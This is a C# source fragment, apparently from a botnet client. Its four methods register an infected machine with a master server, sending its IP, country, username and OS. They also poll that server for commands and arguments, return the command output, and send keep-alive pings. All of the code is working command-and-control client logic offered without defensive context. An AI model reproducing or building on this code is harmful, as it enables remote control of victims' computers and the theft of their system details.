public void saludo() { DH_Tools tools = new DH_Tools(); tools.tomar(url_master, "entradatrasera=hidad&key=" + clave + "&ip=" + ip + "&pais=" + pais + "&username="******"&os=" + os + "&timeout=" + time); }
public string ver_ordenes() { string resultado = ""; string re_cmd = ""; string arg1 = ""; string arg2 = ""; string arg3 = ""; DH_Tools tools = new DH_Tools(); string code = tools.tomar(url_master, "ordenespabots=alpedo&clave=" + clave); Match regex = Regex.Match(code, "Orden : (.*?)<br>", RegexOptions.IgnoreCase); if (regex.Success) { re_cmd = regex.Groups[1].Value; } regex = Regex.Match(code, "Arg1 : (.*?)<br>", RegexOptions.IgnoreCase); if (regex.Success) { arg1 = regex.Groups[1].Value; } regex = Regex.Match(code, "Arg2 : (.*?)<br>", RegexOptions.IgnoreCase); if (regex.Success) { arg2 = regex.Groups[1].Value; } regex = Regex.Match(code, "Arg3 : (.*?)<br>", RegexOptions.IgnoreCase); if (regex.Success) { arg3 = regex.Groups[1].Value; } resultado = clean_error_regex("[comando]" + re_cmd + "[comando]" + "[arg1]" + arg1 + "[arg1]" + "[arg2]" + arg2 + "[arg2]" + "[arg3]" + arg3 + "[arg3]"); return(resultado); }
public void mandar_rta(string contenido) { DH_Tools tools = new DH_Tools(); tools.tomar(url_master, "mandocarajo=alpedo&miclave=" + clave + "&mirta=" + contenido); }
public void sigo_vivo() { DH_Tools tools = new DH_Tools(); tools.tomar(url_master, "sigovivo=alpedo&clavenow=" + clave); }